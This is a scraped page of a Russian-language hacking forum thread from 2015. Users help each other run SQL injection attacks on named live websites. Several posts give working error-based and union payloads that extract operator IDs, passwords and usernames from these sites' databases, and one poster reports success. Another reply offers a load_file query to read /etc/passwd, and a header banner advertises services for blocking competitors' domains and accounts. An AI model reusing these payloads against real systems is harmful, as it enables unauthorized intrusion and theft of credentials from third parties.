УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2403 из 2438

2403

Опции темы

Поиск в этой теме

Опции просмотра

#24021

18.01.2015, 16:03

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Цитата:

Сообщение от noviks

noviks said:
помогите раскрутить http:// www.paid2earn.de/img/media.php?art=1'' MySQL error based

вот пример как вот здесь,почему не выводится,таким запросом

5*(SELECT 1 FROM information_schema.tables WHERE 1 group by concat((select (select (select concat(0x27,unhex(Hex(cast(netzwerk_schnittstelle. betreiber_id as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_passwort as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_kennung as char))),0x27) from `mlsvsf_db`.netzwerk_schnittstelle limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2)) having min(0))

#24022

18.01.2015, 19:07

lion_art

Guest

Сообщений: n/a

Провел на форуме:
1080

Репутация: 0

Цитата:

Сообщение от faza02

faza02 said:
что именно не получается? составьте корректный запрос и все нормально

В том то и дело, что не могу понять в чем ошибка моего запроса. 5я ветка... information_schema должна быть по определению...

Unknown column 'information_schema' in 'where clause'

#24023

18.01.2015, 20:10

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 353

Провел на форуме:
905389

Репутация: 332

Отправить сообщение для KIR@PRO с помощью ICQ

Цитата:

Сообщение от None

Unknown
column
'information_schema'

information_schema - бд "по определению" а не колонка/таблица =)

у тебя же

Цитата:

Сообщение от None

table_
name
=information_schema

а надо, если нужна именно information_schema (хотя непонятно зачем она тебе):

Цитата:

Сообщение от None

table_
schema
=information_schema

#24024

18.01.2015, 20:34

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Код:

Code:
http://www.puntoverdefolletto.com/prodotto.php?id=-2+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

#24025

18.01.2015, 21:00

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от madam

madam said:
вот пример как вот здесь,почему не выводится,таким запросом
5*(SELECT 1 FROM information_schema.tables WHERE 1 group by concat((select (select (select concat(0x27,unhex(Hex(cast(netzwerk_schnittstelle. betreiber_id as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_passwort as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_kennung as char))),0x27) from `mlsvsf_db`.netzwerk_schnittstelle limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2)) having min(0))

в примере версия >5.1. у вас тоже? почему бы не использовать более короткий и понятный вектор?

Код:

Code:
http://www.paid2earn.de/img/media.php?art=1+|(extractvalue(1,concat(0x5c,version())))

#24026

18.01.2015, 21:29

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Цитата:

Сообщение от faza02

faza02 said:
в примере версия >5.1. у вас тоже? почему бы не использовать более короткий и понятный вектор?

Код:

Code:
http://www.paid2earn.de/img/media.php?art=1+|(extractvalue(1,concat(0x5c,version())))

версия 5.5.4 www.werbevirus.de/img/media.php?art=bannerklick

#24027

18.01.2015, 23:55

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от madam

madam said:
версия 5.5.4 www.werbevirus.de/img/media.php?art=bannerklick

Код:

Code:
http://werbevirus.de/img/media.php?art=1+|(extractvalue(1,concat(0x5c,(SELECT nickname FROM netzwerk_user LIMIT 0,1))))

а те колонки из вашего запроса - пустые.

#24028

19.01.2015, 00:16

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Цитата:

Сообщение от faza02

faza02 said:

Код:

Code:
http://werbevirus.de/img/media.php?art=1+|(extractvalue(1,concat(0x5c,(SELECT nickname FROM netzwerk_user LIMIT 0,1))))

а те колонки из вашего запроса - пустые.

спасибо

я маленько не так сделала

1 |(ExtractValue(1,concat(0x5c,(SELECT GROUP_CONCAT(CONCAT_WS(0x3a,betreiber_id,betreiber _passwort,betreiber_kennung)) FROM netzwerk_schnittstelle ))))

пустые но не все))

#24029

20.01.2015, 03:21

mazaxaka

Участник форума

Регистрация: 16.02.2008

Сообщений: 177

Провел на форуме:
883446

Репутация: 82

как через sql или phpmyadmin можно узнать список папок , в папке home/user/***/www/----

#24030

20.01.2015, 04:14

Br@!ns

Guest

Сообщений: n/a

Провел на форуме:
179197

Репутация: 25

Цитата:

Сообщение от mazaxaka

mazaxaka said:
как через sql или phpmyadmin можно узнать список папок , в папке home/user/***/www/----

select load_file('/etc/passwd')

Страница 2403 из 2438

2403

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход